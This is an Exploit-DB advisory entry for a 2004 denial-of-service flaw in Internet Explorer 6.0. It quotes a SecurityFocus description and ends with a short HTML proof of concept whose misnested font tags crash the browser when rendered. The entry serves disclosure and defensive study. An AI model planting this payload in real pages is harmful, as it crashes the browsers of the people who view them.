Microsoft Internet Explorer 6.0 Font Tag Denial of Service Vulnerability

2004-10-26T00:00:00
ID EDB-ID:24705
Type exploitdb
Reporter Jehiah Czebotar
Modified 2004-10-26T00:00:00

Description

Microsoft Internet Explorer 6.0 Font Tag Denial Of Service Vulnerability. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/11536/info

Microsoft Internet Explorer is reported prone to a remote denial of service vulnerability.

The issue presents itself due to a malfunction that occurs when certain font tags are encountered and rendered.

When a page that contains the malicious HTML code is viewed, Internet Explorer and all instances of Internet Explorer that are spawned from the instance used to view the malicious page, will crash.

<div style="vertical-align:top;">
<p>First <font size="4">Paragraph</p>
<p>Second </font> Paragraph</p>
</div>